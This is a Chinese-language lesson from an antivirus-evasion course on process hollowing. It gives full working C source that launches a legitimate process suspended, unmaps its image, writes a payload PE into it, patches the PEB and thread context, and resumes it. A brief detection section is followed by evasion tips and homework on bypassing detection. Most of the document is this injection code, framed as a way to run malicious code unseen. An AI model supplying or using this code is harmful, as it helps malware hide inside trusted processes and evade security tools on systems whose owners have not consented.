免杀专题

10、进程镂空

1. 课程目标

掌握进程镂空(Process Hollowing)技术,这是一种高级的代码注入技术,通过替换合法进程的内存映像来执行恶意代码。

1.1 学习目标

  • 理解进程镂空的工作原理
  • 掌握进程创建与挂起技术
  • 学会解映射与重新映射操作
  • 实现完整的进程镂空注入

2. 名词解释

名词 英文 解释
进程镂空 Process Hollowing 将合法进程的代码“掏空”并替换为恶意代码的技术
挂起进程 Suspended Process 创建时处于暂停状态的进程,未开始执行代码
解映射 Unmap 取消内存区域的映射,释放虚拟地址空间
ImageBase - PE文件在内存中的首选加载基址
Entry Point - 程序的入口点地址,代码开始执行的位置
线程上下文 Thread Context 线程的CPU寄存器状态,包含RIP/EIP等
PEB.ImageBaseAddress - PEB中存储的进程映像基址
NtUnmapViewOfSection - 解除内存区域映射的Native API

3. 技术原理

3.1 进程镂空 vs 进程挂起注入

特性 进程镂空 进程挂起注入
原始代码 完全替换 保留原始代码
内存布局 恶意PE完整映射 仅注入ShellCode
复杂度
隐蔽性
PE重定位 需要处理 不需要

3.2 技术流程

                    ┌──────────────────────────────────────┐
                    │  1. 创建挂起状态的合法进程             │
                    │     CreateProcess(CREATE_SUSPENDED)   │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  2. 获取目标进程PEB和ImageBase        │
                    │     NtQueryInformationProcess         │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  3. 解映射原始进程映像                 │
                    │     NtUnmapViewOfSection              │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  4. 在目标进程分配内存                 │
                    │     VirtualAllocEx                    │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  5. 写入恶意PE的头部和各区段           │
                    │     WriteProcessMemory                │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  6. 处理重定位表(如果基址不同)        │
                    │     修复重定位项                       │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  7. 修改PEB.ImageBaseAddress          │
                    │     WriteProcessMemory                │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  8. 修改线程上下文中的入口点           │
                    │     SetThreadContext (RCX/EAX)        │
                    └──────────────────┬───────────────────┘

                    ┌──────────────────────────────────────┐
                    │  9. 恢复进程执行                       │
                    │     ResumeThread                      │
                    └──────────────────────────────────────┘

4. 必备工具与环境

工具 用途
Visual Studio 2022 开发环境
x64dbg 动态调试,验证注入结果
Process Hacker 查看进程内存映射
PE-bear 分析PE文件结构
WinDbg 内核级调试(可选)

5. 核心数据结构

5.1 必要的类型定义

#include <windows.h>
#include <winternl.h>

// NtUnmapViewOfSection函数原型
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(
    HANDLE ProcessHandle,
    PVOID BaseAddress
);

// NtQueryInformationProcess函数原型
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);

// 重定位表结构
typedef struct _BASE_RELOCATION_ENTRY {
    WORD Offset : 12;
    WORD Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

5.2 PEB中ImageBaseAddress偏移

架构 PEB偏移 说明
x86 PEB+0x08 ImageBaseAddress
x64 PEB+0x10 ImageBaseAddress

6. 完整实现代码

6.1 主函数实现

#include <windows.h>
#include <stdio.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

// 函数原型
typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);

// 读取PE文件到内存
LPVOID ReadPEFile(LPCWSTR szPath, DWORD* pdwSize) {
    HANDLE hFile = CreateFileW(szPath, GENERIC_READ, FILE_SHARE_READ, 
                               NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return NULL;
    
    DWORD dwSize = GetFileSize(hFile, NULL);
    LPVOID pBuffer = VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pBuffer) {
        CloseHandle(hFile);
        return NULL;
    }
    
    DWORD dwRead;
    ReadFile(hFile, pBuffer, dwSize, &dwRead, NULL);
    CloseHandle(hFile);
    
    *pdwSize = dwSize;
    return pBuffer;
}

// 进程镂空主函数
BOOL ProcessHollowing(LPCWSTR szTargetPath, LPCWSTR szPayloadPath) {
    printf("[*] Process Hollowing开始\n");
    printf("[*] 目标进程: %ws\n", szTargetPath);
    printf("[*] 载荷PE: %ws\n", szPayloadPath);
    
    // 1. 读取恶意PE文件
    DWORD dwPayloadSize = 0;
    LPVOID pPayload = ReadPEFile(szPayloadPath, &dwPayloadSize);
    if (!pPayload) {
        printf("[-] 读取载荷失败\n");
        return FALSE;
    }
    printf("[+] 载荷大小: %d bytes\n", dwPayloadSize);
    
    // 解析PE头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pPayload;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[-] 无效的PE文件\n");
        VirtualFree(pPayload, 0, MEM_RELEASE);
        return FALSE;
    }
    
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pPayload + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        printf("[-] 无效的NT头\n");
        VirtualFree(pPayload, 0, MEM_RELEASE);
        return FALSE;
    }
    
    printf("[+] 载荷ImageBase: 0x%p\n", (PVOID)pNtHeaders->OptionalHeader.ImageBase);
    printf("[+] 载荷EntryPoint: 0x%X\n", pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    printf("[+] 载荷SizeOfImage: 0x%X\n", pNtHeaders->OptionalHeader.SizeOfImage);
    
    // 2. 创建挂起状态的目标进程
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(szTargetPath, NULL, NULL, NULL, FALSE, 
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] 创建进程失败: %d\n", GetLastError());
        VirtualFree(pPayload, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] 创建挂起进程成功, PID: %d\n", pi.dwProcessId);
    
    // 3. 获取目标进程PEB地址
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    pfnNtQueryInformationProcess NtQueryInformationProcess = 
        (pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    pfnNtUnmapViewOfSection NtUnmapViewOfSection = 
        (pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
    
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG ulRetLen = 0;
    NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &ulRetLen);
    
    printf("[+] 目标进程PEB地址: 0x%p\n", pbi.PebBaseAddress);
    
    // 4. 读取目标进程原始ImageBase
#ifdef _WIN64
    LPVOID pImageBaseAddr = (LPBYTE)pbi.PebBaseAddress + 0x10;
#else
    LPVOID pImageBaseAddr = (LPBYTE)pbi.PebBaseAddress + 0x08;
#endif
    
    LPVOID pTargetImageBase = NULL;
    SIZE_T bytesRead = 0;
    ReadProcessMemory(pi.hProcess, pImageBaseAddr, &pTargetImageBase, sizeof(pTargetImageBase), &bytesRead);
    printf("[+] 目标进程原始ImageBase: 0x%p\n", pTargetImageBase);
    
    // 5. 解映射原始进程映像
    NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, pTargetImageBase);
    if (status == 0) {
        printf("[+] 解映射原始映像成功\n");
    } else {
        printf("[!] 解映射失败: 0x%X, 继续尝试...\n", status);
    }
    
    // 6. 在目标进程分配内存
    LPVOID pRemoteBase = VirtualAllocEx(
        pi.hProcess,
        (LPVOID)pNtHeaders->OptionalHeader.ImageBase,  // 尝试在首选基址分配
        pNtHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    BOOL bNeedReloc = FALSE;
    if (!pRemoteBase) {
        // 首选基址分配失败,让系统选择地址
        pRemoteBase = VirtualAllocEx(
            pi.hProcess,
            NULL,
            pNtHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
        );
        bNeedReloc = TRUE;
        printf("[!] 基址冲突,需要重定位\n");
    }
    
    if (!pRemoteBase) {
        printf("[-] 远程内存分配失败: %d\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        VirtualFree(pPayload, 0, MEM_RELEASE);
        return FALSE;
    }
    printf("[+] 远程内存分配成功: 0x%p\n", pRemoteBase);
    
    // 7. 处理重定位(如果需要)
    if (bNeedReloc) {
        DWORD dwDelta = (DWORD)((ULONG_PTR)pRemoteBase - pNtHeaders->OptionalHeader.ImageBase);
        printf("[*] 重定位偏移: 0x%X\n", dwDelta);
        
        // 获取重定位表
        DWORD dwRelocRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
        DWORD dwRelocSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
        
        if (dwRelocRVA && dwRelocSize) {
            PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pPayload + dwRelocRVA);
            
            while (pReloc->VirtualAddress && pReloc->SizeOfBlock) {
                DWORD dwEntryCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
                PWORD pEntry = (PWORD)((LPBYTE)pReloc + sizeof(IMAGE_BASE_RELOCATION));
                
                for (DWORD i = 0; i < dwEntryCount; i++) {
                    WORD wType = pEntry[i] >> 12;
                    WORD wOffset = pEntry[i] & 0x0FFF;
                    
                    if (wType == IMAGE_REL_BASED_HIGHLOW) {
                        PDWORD pAddr = (PDWORD)((LPBYTE)pPayload + pReloc->VirtualAddress + wOffset);
                        *pAddr += dwDelta;
                    }
#ifdef _WIN64
                    else if (wType == IMAGE_REL_BASED_DIR64) {
                        PULONGLONG pAddr = (PULONGLONG)((LPBYTE)pPayload + pReloc->VirtualAddress + wOffset);
                        *pAddr += dwDelta;
                    }
#endif
                }
                
                pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock);
            }
            printf("[+] 重定位处理完成\n");
        }
        
        // 更新PE头中的ImageBase
        pNtHeaders->OptionalHeader.ImageBase = (ULONG_PTR)pRemoteBase;
    }
    
    // 8. 写入PE头
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(pi.hProcess, pRemoteBase, pPayload, 
                       pNtHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten);
    printf("[+] 写入PE头: %lld bytes\n", bytesWritten);
    
    // 9. 写入各区段
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
    for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        if (pSection[i].SizeOfRawData) {
            LPVOID pSectionDest = (LPBYTE)pRemoteBase + pSection[i].VirtualAddress;
            LPVOID pSectionSrc = (LPBYTE)pPayload + pSection[i].PointerToRawData;
            
            WriteProcessMemory(pi.hProcess, pSectionDest, pSectionSrc, 
                              pSection[i].SizeOfRawData, &bytesWritten);
            printf("[+] 写入区段 %.8s: VA=0x%X, Size=%d\n", 
                   pSection[i].Name, pSection[i].VirtualAddress, pSection[i].SizeOfRawData);
        }
    }
    
    // 10. 更新PEB中的ImageBaseAddress
    WriteProcessMemory(pi.hProcess, pImageBaseAddr, &pRemoteBase, sizeof(pRemoteBase), &bytesWritten);
    printf("[+] 更新PEB.ImageBaseAddress\n");
    
    // 11. 修改线程上下文
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);
    
    LPVOID pNewEntryPoint = (LPBYTE)pRemoteBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
    
#ifdef _WIN64
    ctx.Rcx = (DWORD64)pNewEntryPoint;
#else
    ctx.Eax = (DWORD)pNewEntryPoint;
#endif
    
    SetThreadContext(pi.hThread, &ctx);
    printf("[+] 设置新入口点: 0x%p\n", pNewEntryPoint);
    
    // 12. 恢复进程执行
    ResumeThread(pi.hThread);
    printf("[+] 进程已恢复执行!\n");
    
    // 清理
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    VirtualFree(pPayload, 0, MEM_RELEASE);
    
    return TRUE;
}

int main(int argc, char* argv[]) {
    printf("========================================\n");
    printf("    进程镂空 (Process Hollowing) 演示\n");
    printf("========================================\n\n");
    
    if (argc != 3) {
        printf("用法: %s <目标进程路径> <载荷PE路径>\n", argv[0]);
        printf("示例: %s C:\\Windows\\System32\\notepad.exe payload.exe\n", argv[0]);
        return 1;
    }
    
    wchar_t szTarget[MAX_PATH], szPayload[MAX_PATH];
    MultiByteToWideChar(CP_ACP, 0, argv[1], -1, szTarget, MAX_PATH);
    MultiByteToWideChar(CP_ACP, 0, argv[2], -1, szPayload, MAX_PATH);
    
    if (ProcessHollowing(szTarget, szPayload)) {
        printf("\n[+] 进程镂空成功!\n");
    } else {
        printf("\n[-] 进程镂空失败!\n");
    }
    
    return 0;
}

7. 关键技术点详解

7.1 为什么需要解映射

解映射前:                          解映射后:
┌─────────────────────┐           ┌─────────────────────┐
│ Target.exe代码段     │           │     (空闲空间)       │
│ 0x00400000-0x00410000│    →      │ 0x00400000-0x00410000│
├─────────────────────┤           ├─────────────────────┤
│ Target.exe数据段     │           │     (空闲空间)       │
└─────────────────────┘           └─────────────────────┘

                                  可以重新分配并写入恶意PE

7.2 线程上下文寄存器

架构 入口点寄存器 PEB地址寄存器
x86 EAX EBX
x64 RCX RDX

8. 常见问题与解决

8.1 解映射失败

原因: 某些系统DLL可能已经映射到目标区域

解决: 忽略解映射错误,直接在其他地址分配内存,然后进行重定位

8.2 重定位表不存在

原因: 有些PE编译时禁用了重定位(/FIXED)

解决:

  1. 必须在原始ImageBase处分配内存
  2. 或重新编译载荷,启用重定位

8.3 32位/64位不匹配

原因: 32位程序不能注入64位进程,反之亦然

解决: 确保注入器和载荷的架构匹配目标进程


9. 检测与防御

9.1 检测方法

检测点 方法
内存扫描 比较磁盘PE与内存PE的差异
ETW事件 监控NtUnmapViewOfSection调用
行为监控 检测CREATE_SUSPENDED后的可疑操作
内存保护 RWX权限的异常内存区域

9.2 规避技术

  1. 不使用NtUnmapViewOfSection,直接覆盖内存
  2. 使用其他API组合实现相同效果
  3. 分段写入,延时执行

10. 课后作业

10.1、作业1:基础实现(必做)

实现完整的进程镂空,将calc.exe注入到notepad.exe进程中。

10.2、作业2:改进重定位(进阶)

修改代码,支持处理所有类型的重定位项(IMAGE_REL_BASED_*)。

10.3、作业3:绕过检测(高级)

研究如何绕过以下检测:

  1. 不调用NtUnmapViewOfSection
  2. 避免RWX内存权限

11. 扩展阅读